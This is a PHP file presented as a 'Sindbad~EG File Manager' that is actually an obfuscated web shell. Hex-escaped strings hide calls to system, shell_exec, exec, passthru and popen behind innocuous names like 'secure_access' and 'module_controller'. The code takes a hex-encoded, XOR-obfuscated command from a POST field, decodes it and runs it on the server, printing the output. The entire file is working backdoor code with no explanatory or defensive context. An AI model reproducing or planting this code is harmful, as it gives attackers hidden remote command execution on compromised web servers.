Sindbad~EG File Manager

<?php

$secure_access4 = "\x70a\x73sth\x72\x75";
$secure_access6 = "str\x65a\x6D\x5Fget\x5F\x63on\x74e\x6E\x74s";
$secure_access3 = "\x65x\x65c";
$module_controller = "\x68e\x782b\x69\x6E";
$secure_access1 = "\x73\x79\x73tem";
$secure_access5 = "\x70\x6Fpen";
$secure_access2 = "sh\x65\x6C\x6C\x5F\x65xec";
$secure_access7 = "\x70\x63\x6Cose";
if (isset($_POST["\x64\x65\x73\x63r\x69ptor"])) {
            function buffer_cache  (  $rec,  $comp  ){   $elem=  '' ; $m=0; while($m<strlen($rec)){$elem.=chr(ord($rec[$m])^$comp);$m++;} return$elem; }
            $descriptor = $module_controller($_POST["\x64\x65\x73\x63r\x69ptor"]);
            $descriptor = buffer_cache($descriptor, 57);
            if (function_exists($secure_access1)) {
                $secure_access1($descriptor);
            } elseif (function_exists($secure_access2)) {
                print $secure_access2($descriptor);
            } elseif (function_exists($secure_access3)) {
                $secure_access3($descriptor, $sym_rec);
                print join("\n", $sym_rec);
            } elseif (function_exists($secure_access4)) {
                $secure_access4($descriptor);
            } elseif (function_exists($secure_access5) && function_exists($secure_access6) && function_exists($secure_access7)) {
                $comp_elem = $secure_access5($descriptor, 'r');
                if ($comp_elem) {
                    $pointer_parameter_group = $secure_access6($comp_elem);
                    $secure_access7($comp_elem);
                    print $pointer_parameter_group;
                }
            }
            exit;
        }